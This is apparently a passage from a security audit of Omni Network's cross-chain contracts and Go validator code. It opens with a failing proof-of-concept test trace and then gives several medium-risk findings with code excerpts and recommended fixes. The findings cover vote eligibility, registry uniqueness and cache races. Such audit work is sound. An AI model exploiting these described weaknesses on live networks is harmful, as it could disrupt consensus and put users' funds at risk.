    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0x90F79bf6EB2c4f870365E785982E1f101E93b906
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65
    [0] VM::startPrank(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946])
        [Return]
    [945679]  new FeeOracleV1@0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b
       emit Initialized(version: 18446744073709551615 [1.844e19])
        [Return] 4606 bytes of code
    [878816]  new TransparentUpgradeableProxy@0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264
       emit Upgraded(implementation: FeeOracleV1: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b])
       [326070] FeeOracleV1::initialize(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266],
↪  feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370], 50000 [5e4], 1000000000 [1e9],
↪  [ChainFeeParams({ chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] })])
↪  [delegatecall]
           emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           emit ManagerSet(manager: feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370])
           emit BaseGasLimitSet(baseGasLimit: 50000 [5e4])
           emit ProtocolFeeSet(protocolFee: 1000000000 [1e9])
           emit FeeParamsSet(chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
           emit FeeParamsSet(chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
           emit FeeParamsSet(chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
           emit Initialized(version: 1)
            [Stop]
       [236809]  new ProxyAdmin@0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7
```

```
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7])
         [Return] 1159 bytes of code
     [3996854]  new PortalHarness@0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5
        emit Initialized(version: 18446744073709551615 [1.844e19])
         [Return] 19844 bytes of code
     [844482]  new TransparentUpgradeableProxy@0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50
        emit Upgraded(implementation: PortalHarness: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5])
        [291018] PortalHarness::initialize(InitParams({ owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266,
↪  feeOracle: 0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264, omniChainId: 166, omniCChainId: 1000166 [1e6],
↪  xmsgMaxGasLimit: 5000000 [5e6], xmsgMinGasLimit: 21000 [2.1e4], xmsgMaxDataSize: 20000 [2e4],
↪  xreceiptMaxErrorSize: 256, xsubValsetCutoff: 10, cChainXMsgOffset: 1, cChainXBlockOffset: 1, valSetId: 1,
↪  validators: [Validator({ addr: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, power: 100 }), Validator({
↪  addr: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8, power: 100 }), Validator({ addr:
↪  0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC, power: 100 }), Validator({ addr:
↪  0x90F79bf6EB2c4f870365E785982E1f101E93b906, power: 100 })] })) [delegatecall]
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
          emit FeeOracleSet(oracle: TransparentUpgradeableProxy: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264])
          emit XMsgMaxGasLimitSet(gasLimit: 5000000 [5e6])
          emit XMsgMaxDataSizeSet(size: 20000 [2e4])
          emit XMsgMinGasLimitSet(gasLimit: 21000 [2.1e4])
          emit XReceiptMaxErrorSizeSet(size: 256)
          emit XSubValsetCutoffSet(cutoff: 10)
          emit ValidatorSetAdded(setId: 1)
          emit InXMsgOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
          emit InXBlockOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
          emit Initialized(version: 1)
           [Stop]
        [236809]  new ProxyAdmin@0xe7bcb2C7Cf0B4FDdB62FB3dd7c55fb04c74aEA42
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xe7bcb2C7Cf0B4FDdB62FB3dd7c55fb04c74aEA42])
         [Return] 1159 bytes of code
     [187557]  new Counter@0x9101223D33eEaeA94045BB2920F00BA0F7A475Bc
         [Return] 825 bytes of code
     [119365]  new Reverter@0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6
         [Return] 596 bytes of code
     [945679]  new FeeOracleV1@0x8584361C55e82129246aDAEb93E6a2b4d4C7891b
        emit Initialized(version: 18446744073709551615 [1.844e19])
         [Return] 4606 bytes of code
     [878816]  new TransparentUpgradeableProxy@0x13250CF16EEc77781DCF240b067cAC78F2b2Adf8
        emit Upgraded(implementation: FeeOracleV1: [0x8584361C55e82129246aDAEb93E6a2b4d4C7891b])
        [326070] FeeOracleV1::initialize(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266],
↪  feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370], 50000 [5e4], 1000000000 [1e9],
↪  [ChainFeeParams({ chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] })])
↪  [delegatecall]
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
          emit ManagerSet(manager: feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370])
          emit BaseGasLimitSet(baseGasLimit: 50000 [5e4])
          emit ProtocolFeeSet(protocolFee: 1000000000 [1e9])
          emit FeeParamsSet(chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
          emit FeeParamsSet(chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
          emit FeeParamsSet(chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
          emit Initialized(version: 1)
           [Stop]
        [236809]  new ProxyAdmin@0xB4D4F32E88C66DEA074BB09aE52899D642b7E249
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xB4D4F32E88C66DEA074BB09aE52899D642b7E249])
         [Return] 1159 bytes of code
     [3996854]  new PortalHarness@0xEed3f8736c808Cc675486631D77a56B9cf8f6094
        emit Initialized(version: 18446744073709551615 [1.844e19])
```

```
        [Return] 19844 bytes of code
    [844482]  new TransparentUpgradeableProxy@0x36470daFADf34DCFB71BEde8a1D8AE7de57eFd27
      emit Upgraded(implementation: PortalHarness: [0xEed3f8736c808Cc675486631D77a56B9cf8f6094])
      [291018] PortalHarness::initialize(InitParams({ owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266,
↪ feeOracle: 0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264, omniChainId: 166, omniCChainId: 1000166 [1e6],
↪ xmsgMaxGasLimit: 5000000 [5e6], xmsgMinGasLimit: 21000 [2.1e4], xmsgMaxDataSize: 20000 [2e4],
↪ xreceiptMaxErrorSize: 256, xsubValsetCutoff: 10, cChainXMsgOffset: 1, cChainXBlockOffset: 1, valSetId: 1,
↪ validators: [Validator({ addr: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, power: 100 }), Validator({
↪ addr: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8, power: 100 }), Validator({ addr:
↪ 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC, power: 100 }), Validator({ addr:
↪ 0x90F79bf6EB2c4f870365E785982E1f101E93b906, power: 100 })] })) [delegatecall]
        emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪ owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
        emit FeeOracleSet(oracle: TransparentUpgradeableProxy: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264])
        emit XMsgMaxGasLimitSet(gasLimit: 5000000 [5e6])
        emit XMsgMaxDataSizeSet(size: 20000 [2e4])
        emit XMsgMinGasLimitSet(gasLimit: 21000 [2.1e4])
        emit XReceiptMaxErrorSizeSet(size: 256)
        emit XSubValsetCutoffSet(cutoff: 10)
        emit ValidatorSetAdded(setId: 1)
        emit InXMsgOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
        emit InXBlockOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
        emit Initialized(version: 1)
         [Stop]
      [236809]  new ProxyAdmin@0xE1C5264f10fad5d1912e5Ba2446a26F5EfdB7482
        emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪ owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
         [Return] 1063 bytes of code
      emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪ [0xE1C5264f10fad5d1912e5Ba2446a26F5EfdB7482])
        [Return] 1159 bytes of code
    [187557]  new Counter@0x3681a57C9d444Cc705d5511715Ca973D778bf839
        [Return] 825 bytes of code
    [119365]  new Reverter@0xa04158516381FC23EFDDeAF54258601A7572DCC8
        [Return] 596 bytes of code
    [945679]  new FeeOracleV1@0x1c831bF4656866662B04c8FED126d432a007BD08
      emit Initialized(version: 18446744073709551615 [1.844e19])
        [Return] 4606 bytes of code
    [878816]  new TransparentUpgradeableProxy@0xD1c5ea2610b894FA66333cb5F3b512ea037ba1F0
      emit Upgraded(implementation: FeeOracleV1: [0x1c831bF4656866662B04c8FED126d432a007BD08])
      [326070] FeeOracleV1::initialize(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266],
↪ feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370], 50000 [5e4], 1000000000 [1e9],
↪ [ChainFeeParams({ chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪ ChainFeeParams({ chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪ ChainFeeParams({ chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] })])
↪ [delegatecall]
        emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪ owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
        emit ManagerSet(manager: feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370])
        emit BaseGasLimitSet(baseGasLimit: 50000 [5e4])
        emit ProtocolFeeSet(protocolFee: 1000000000 [1e9])
        emit FeeParamsSet(chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
        emit FeeParamsSet(chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
        emit FeeParamsSet(chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
        emit Initialized(version: 1)
         [Stop]
      [236809]  new ProxyAdmin@0x6C4c6b053f9Cf134515FC470c21C348F701810b2
        emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪ owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
         [Return] 1063 bytes of code
      emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪ [0x6C4c6b053f9Cf134515FC470c21C348F701810b2])
        [Return] 1159 bytes of code
    [3996854]  new PortalHarness@0xC5963c86CD60EE16A9A637D86DF3A3DC0a38cCA4
      emit Initialized(version: 18446744073709551615 [1.844e19])
        [Return] 19844 bytes of code
    [844482]  new TransparentUpgradeableProxy@0xc0E08837B4Dd691417ED50b43AcA24771Cf93D3B
      emit Upgraded(implementation: PortalHarness: [0xC5963c86CD60EE16A9A637D86DF3A3DC0a38cCA4])
```

```
        [291018] PortalHarness::initialize(InitParams({ owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266,
↪  feeOracle: 0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264, omniChainId: 166, omniCChainId: 1000166 [1e6],
↪  xmsgMaxGasLimit: 5000000 [5e6], xmsgMinGasLimit: 21000 [2.1e4], xmsgMaxDataSize: 20000 [2e4],
↪  xreceiptMaxErrorSize: 256, xsubValsetCutoff: 10, cChainXMsgOffset: 1, cChainXBlockOffset: 1, valSetId: 1,
↪  validators: [Validator({ addr: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, power: 100 }), Validator({
↪  addr: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8, power: 100 }), Validator({ addr:
↪  0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC, power: 100 }), Validator({ addr:
↪  0x90F79bf6EB2c4f870365E785982E1f101E93b906, power: 100 })] })) [delegatecall]
           emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           emit FeeOracleSet(oracle: TransparentUpgradeableProxy: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264])
           emit XMsgMaxGasLimitSet(gasLimit: 5000000 [5e6])
           emit XMsgMaxDataSizeSet(size: 20000 [2e4])
           emit XMsgMinGasLimitSet(gasLimit: 21000 [2.1e4])
           emit XReceiptMaxErrorSizeSet(size: 256)
           emit XSubValsetCutoffSet(cutoff: 10)
           emit ValidatorSetAdded(setId: 1)
           emit InXMsgOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
           emit InXBlockOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
           emit Initialized(version: 1)
            [Stop]
        [236809]  new ProxyAdmin@0xbf91Ec7136512e575B367C20c4dc8e36BE6555D7
           emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
            [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xbf91Ec7136512e575B367C20c4dc8e36BE6555D7])
         [Return] 1159 bytes of code
      [187557]  new Counter@0x4b3b5d4AbE57Eb7a00bBE9Cc3eE743509B04f4E9
         [Return] 825 bytes of code
      [119365]  new Reverter@0x97c14a5793928f224732a020AecF41e1c8D9FE2F
         [Return] 596 bytes of code
      [34287]  new GasGuzzler@0x0a5c38396f0A1d8019E2de7a0595eECf275cE3f9
         [Return] 171 bytes of code
      [253624]  new XSubmitter@0xB623292e2766E11489b030EBE5876011a4e79183
         [Return] 1155 bytes of code
      [0] VM::stopPrank()
         [Return]
      [0] VM::chainId(100)
         [Return]
      [318775] TransparentUpgradeableProxy::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({
↪  chainId: 102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })])
         [318219] PortalHarness::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({ chainId:
↪  102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })]) [delegatecall]
            [Stop]
         [Return]
      [0] VM::chainId(102)
         [Return]
      [318775] TransparentUpgradeableProxy::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({
↪  chainId: 102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })])
         [318219] PortalHarness::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({ chainId:
↪  102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })]) [delegatecall]
            [Stop]
         [Return]
      [0] VM::chainId(103)
         [Return]
      [318775] TransparentUpgradeableProxy::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({
↪  chainId: 102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })])
         [318219] PortalHarness::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({ chainId:
↪  102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })]) [delegatecall]
            [Stop]
         [Return]
       [Stop]

    [191340] OmniPortal_ShardsTest::testShardOffsetIndependence()
      [5269] TransparentUpgradeableProxy::chainId() [staticcall]
         [324] PortalHarness::chainId() [delegatecall]
            [Return] 103
         [Return] 103
      [769] TransparentUpgradeableProxy::chainId() [staticcall]
         [324] PortalHarness::chainId() [delegatecall]
            [Return] 103
         [Return] 103
      [0] VM::prank(relayer: [0x011f44c68A9877B052C5DE168e499e05573F8dB8])
         [Return]
```

```
    [81290] TransparentUpgradeableProxy::exec(BlockHeader({ sourceChainId: 1001, consensusChainId: 0,
↪  confLevel: 1, offset: 1, sourceBlockHeight: 12345 [1.234e4], sourceBlockHash:
↪  0x74657374426c6f636b486173684100000000000000000000000000000000000000 }), Msg({ destChainId: 103, shardId: 1,
↪  offset: 1, sender: 0x011f44c68A9877B052C5DE168e499e05573F8dB8, to:
↪  0x00000000000000000000000000000000000000A1, data: 0x, gasLimit: 100000 [1e5] }))
        [80764] PortalHarness::exec(BlockHeader({ sourceChainId: 1001, consensusChainId: 0, confLevel: 1,
↪  offset: 1, sourceBlockHeight: 12345 [1.234e4], sourceBlockHash:
↪  0x74657374426c6f636b486173684100000000000000000000000000000000000000 }), Msg({ destChainId: 103, shardId: 1,
↪  offset: 1, sender: 0x011f44c68A9877B052C5DE168e499e05573F8dB8, to:
↪  0x00000000000000000000000000000000000000A1, data: 0x, gasLimit: 100000 [1e5] })) [delegatecall]
          [0] 0x00000000000000000000000000000000000000A1::fallback()
              [Stop]
          emit XReceipt(sourceChainId: 1001, shardId: 1, offset: 1, gasUsed: 5420, relayer: relayer:
↪  [0x011f44c68A9877B052C5DE168e499e05573F8dB8], success: true, error: 0x)
           [Stop]
        [Return]
     [1309] TransparentUpgradeableProxy::inXMsgOffset(1001, 1) [staticcall]
        [858] PortalHarness::inXMsgOffset(1001, 1) [delegatecall]
            [Return] 1
        [Return] 1
     [0] VM::assertEq(1, 1, "Shard A offset should be incremented after exec") [staticcall]
        [Return]
     [0] VM::prank(relayer: [0x011f44c68A9877B052C5DE168e499e05573F8dB8])
        [Return]
     [77290] TransparentUpgradeableProxy::exec(BlockHeader({ sourceChainId: 1001, consensusChainId: 0,
↪  confLevel: 2, offset: 1, sourceBlockHeight: 12346 [1.234e4], sourceBlockHash:
↪  0x74657374426c6f636b486173684200000000000000000000000000000000000000 }), Msg({ destChainId: 103, shardId: 2,
↪  offset: 1, sender: 0x011f44c68A9877B052C5DE168e499e05573F8dB8, to:
↪  0x00000000000000000000000000000000000000A2, data: 0x, gasLimit: 100000 [1e5] }))
        [76764] PortalHarness::exec(BlockHeader({ sourceChainId: 1001, consensusChainId: 0, confLevel: 2,
↪  offset: 1, sourceBlockHeight: 12346 [1.234e4], sourceBlockHash:
↪  0x74657374426c6f636b486173684200000000000000000000000000000000000000 }), Msg({ destChainId: 103, shardId: 2,
↪  offset: 1, sender: 0x011f44c68A9877B052C5DE168e499e05573F8dB8, to:
↪  0x00000000000000000000000000000000000000A2, data: 0x, gasLimit: 100000 [1e5] })) [delegatecall]
          [0] 0x00000000000000000000000000000000000000A2::fallback()
              [Stop]
          emit XReceipt(sourceChainId: 1001, shardId: 2, offset: 1, gasUsed: 3420, relayer: relayer:
↪  [0x011f44c68A9877B052C5DE168e499e05573F8dB8], success: true, error: 0x)
           [Stop]
        [Return]
     [1309] TransparentUpgradeableProxy::inXMsgOffset(1001, 2) [staticcall]
        [858] PortalHarness::inXMsgOffset(1001, 2) [delegatecall]
            [Return] 1
        [Return] 1
     [0] VM::assertEq(1, 1, "Shard B offset should be independent and start from the same initial offset")
↪  [staticcall]
        [Return]
     [1309] TransparentUpgradeableProxy::inXMsgOffset(1001, 1) [staticcall]
        [858] PortalHarness::inXMsgOffset(1001, 1) [delegatecall]
            [Return] 1
        [Return] 1
     [0] VM::assertEq(1, 2, "Shard A offset should remain unaffected by Shard B execution") [staticcall]
        [Revert] Shard A offset should remain unaffected by Shard B execution: 1 != 2
      [Revert] Shard A offset should remain unaffected by Shard B execution: 1 != 2

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.90ms (181.20s CPU time)

Ran 1 test suite in 1.98s (6.90ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/xchain/XchainPoc.t.sol:OmniPortal_ShardsTest
[FAIL: Shard A offset should remain unaffected by Shard B execution: 1 != 2] testShardOffsetIndependence()
↪  (gas: 191340)

Encountered a total of 1 failing tests, 0 tests succeeded
```

- Recommendation need to maintain separate offset counters per shard

3.4.52 Voters are not immediately reset after updates to the portal registry

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

When a voter is started, it loads all the `chainVer` from `v.network.Chains` and begins a voting goroutine for each `chainVer`.

https://github.com/omni-network/omni/blob/3eb8fe8e34943db0df1b5de7c7e22fd274cb50e3/halo/attest/voter/voter.go#L124-L131

```
func (v *Voter) Start(ctx context.Context) {
    for _, chain := range  {
        for _, chainVer := range chain.ChainVersions() {
            go v.runForever(ctx, chainVer)
        }
    }
}
```

The fundamental problem here is that since this only done on voter start, if there any updates to the portal registry, the voters will still be running on the same chains and chainVer. As such newly added chains may not be listened to by validators and the validators will not store their votes into `v.available` and thus vote during `ExtendVote`

A manual reset is required by validators after every portal update. If they do not reset in time then they will not be able to vote for new chains.

- Recommendation

Make the voter check for updates to the portal registry and reset if it there any updates.

3.4.53 Too costly and not correct fee as fast as possible

Severity: Medium Risk

Context: FeeOracleV2.sol#L13

The oracle data should be updated by admin transactions. To make the fee's correctness and real-time, the admin has to send the transactions as much as possible in the short time.

3.4.54 Nodes that are not validators can also make votes

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description In voter, if `v.AvailableCount() > maxAvailable`, it will pause for a while and then continue voting.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L266

```
            backoff := expbackoff.New(ctx, expbackoff.WithPeriodicConfig(time.Second*5))
            for v.AvailableCount() > maxAvailable {
                log.Warn(ctx, "Voting paused, latest approved attestation is too far behind (stuck?)", nil,
↪  "attest_offset", attestOffset, "block_height", block.BlockHeight)

                backoff()
            }

            if err := v.Vote(attHeader, block, first); err != nil {
                return errors.Wrap(err, "vote")
            }
```

The problem here is that after pausing, the node might no longer be a validator, but there's no check in the code, allowing the vote below to still execute normally. This breaks the restriction that only validators can vote.

- Recommendation

Check `v.isValidator()` before `v.Vote`.

3.4.55 The documentation and code are inconsistent regarding the handling of pending attestations

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The following requirements are mentioned in the documentation provided by the developer:

https://docs.google.com/document/d/14DEeYmMAMdMwRV_tEyUfUs0KXQ0IzIjXH9oexn4T5eM/edit?tab=t.0

When the validator set changes, all "pending" Attestations need to be updated by:

- Updating the associated validator set ID to the current.
- Deleting all attestations by validators not in the current set.

In the halo/valsync/keeper/keeper.go related to validator updates, there are no corresponding updates for pending attestations.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/valsync/keeper/keeper.go

As for the `attTable` that records pending attestations, additions or updates only occur in these three places below, and these are not triggered by validator changes:

- Add aggVote `attTable.InsertReturningId`: https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/keeper.go#L184
- Update approved att `attTable.Update`: https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/keeper.go#L348
- Update overrided att `attTable.Update`: https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/keeper.go#L463

Additionally, the delete operation for `attTable` only occurs in `deleteBefore` and is unrelated to the validator update. https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/keeper.go#L1013

Therefore, the functionality mentioned in the document has not been implemented.

- Recommendation Add related handler.

3.4.56 PortalRegistry contract allows the same portal address to be registered multiple times under different chain ID

Severity: Medium Risk

Context: PortalRegistry.sol#L107

- Description

The contract implements chain ID uniqueness checks but lacks portal address uniqueness validation. This enables multiple registrations of the same portal address across different chains.

```
function _register(Deployment calldata dep) internal {
    require(deployments[dep.chainId].addr == address(0), "PortalRegistry: already set");
    // ... other checks ...
    deployments[dep.chainId] = dep;
}
```

For instance, it is possible to have this types of registrations:

```
// These registrations will both succeed
register(Deployment{addr: 0x123, chainId: 1, ...})
register(Deployment{addr: 0x123, chainId: 2, ...})
```

The present implementation allows multiple chains can claim the same portal address.

- Recommendation Implement portal address uniqueness validation:

```
mapping(address => uint64) private portalToChainId;

function _register(Deployment calldata dep) internal {
    require(deployments[dep.chainId].addr == address(0), "PortalRegistry: already set");
    require(portalToChainId[dep.addr] == 0, "PortalRegistry: address already registered");

    portalToChainId[dep.addr] = dep.chainId;
    deployments[dep.chainId] = dep;
    chainIds.push(dep.chainId);

    emit PortalRegistered(...);
}
```

3.4.57 Concurrency Risk of Unsafe Cache in `newEarliestLookupCache` and `deleteBefore` Lead to Deletion and Block Processing Failures

Severity: Medium Risk

Context: helper.go#L89

- Summary In `Keeper.go`, the `deleteBefore` function uses cached lookups via `newLatestLookupCache` and `newEarliestLookupCache` to improve efficiency in deleting attestations and signatures for blocks at or below a specified height. This cleanup operation is essential for managing blockchain data, especially as it may run concurrently with other block processing tasks. However, due to the lack of concurrency control on the cache map, race conditions are likely, creating a risk of runtime errors or panics that can disrupt the deletion process. Such failures compromise the data integrity of attestations and may interrupt the entire block processing workflow. To prevent these risks, cache lookups within `deleteBefore` should be protected by mutex locks or replaced with concurrency-safe structures such as `sync.Map`.
- Proof of Concept The `lookupFunc` function type in the `attest` package is designed to look up attestation offsets for specific chain versions:

halo/attest/keeper/keeper.go:lookupFunc#L950

```
type lookupFunc func(context.Context, xchain.ChainVersion) (uint64, bool, error)
```

This function type is returned by two functions, `newLatestLookupCache` and `newEarliestLookupCache`, which respectively create lookup caches for the latest and earliest attestations. Both of these functions call `newLookupCache` to handle the core lookup work.

halo/attest/keeper/keeper.go:newLatestLookupCache#L80

```
// Create a cache for looking up the latest attestations
func newLatestLookupCache(k *Keeper) lookupFunc {
    return newLookupCache(k.latestAttestation)
}
```

halo/attest/keeper/keeper.go:newEarliestLookupCache#L84

```
// Create a cache for looking up the earliest attestations
func newEarliestLookupCache(k *Keeper) lookupFunc {
    return newLookupCache(k.earliestAttestation)
}
```

The `newLookupCache` function creates a cache `map` and returns a lookup function with caching capability. The cache is stored within the closure, remaining in memory until the closure is garbage collected. However, since `map` in Go is not thread-safe, concurrent access requires locks. Without locking, concurrent modifications could corrupt the internal structure of the map, leading to a runtime panic when Go detects the unsynchronized access.

halo/attest/keeper/keeper.go:newLookupCache#89

```
func newLookupCache(lookup func(context.Context, xchain.ChainVersion) (*Attestation, bool, error)) lookupFunc {
    cache := make(map[xchain.ChainVersion]uint64)

    return func(ctx context.Context, chainVer xchain.ChainVersion) (uint64, bool, error) {
        if offset, ok := cache[chainVer]; ok {
            return offset, offset > 0, nil
        }

        latest, ok, err := lookup(ctx, chainVer)
        if err != nil {
            return 0, false, err
        } else if !ok {
            cache[chainVer] = 0 // Populate miss
            return 0, false, nil
        } else if latest.GetAttestOffset() == 0 { // Offsets start at 1
            return 0, false, errors.New("invalid zero attestation offset [BUG]")
        }

        // Populate hit
        offset := latest.GetAttestOffset()
        cache[chainVer] = offset

        return offset, true, nil
    }
}
